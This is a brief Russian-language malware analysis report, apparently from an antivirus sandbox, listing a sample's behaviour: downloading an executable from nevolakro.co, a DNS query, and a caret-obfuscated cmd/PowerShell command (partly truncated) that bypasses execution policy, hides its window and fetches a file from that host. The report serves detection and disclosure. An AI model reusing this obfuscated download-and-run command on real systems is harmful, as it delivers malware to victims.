Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- https://nevolakro.co/corpo.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^o^We^rS^hE^L^l.Ex^E^ -eX^e^C^uT^iO^NPoliC^Y^ By^pAss ^-NoPrO^F^ILE^ -^WInD^oWST^yl^E ^HIDDe^n^ (nEw^-OB^j^ect S^yst^E^M.^neT.^We^bCLIen^t).Do^wN^L^OaD^Fil^E^('https://nev...
Сетевая активность
UDP
- DNS ASK ne###akro.co
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^o^We^rS^hE^L^l.Ex^E^ -eX^e^C^uT^iO^NPoliC^Y^ By^pAss ^-NoPrO^F^ILE^ -^WInD^oWST^yl^E ^HIDDe^n^ (nEw^-OB^j^ect S^yst^E^M.^neT.^We^bCLIen^t).Do^wN^L^OaD^Fil^E^('https://nev... (со скрытым окном)
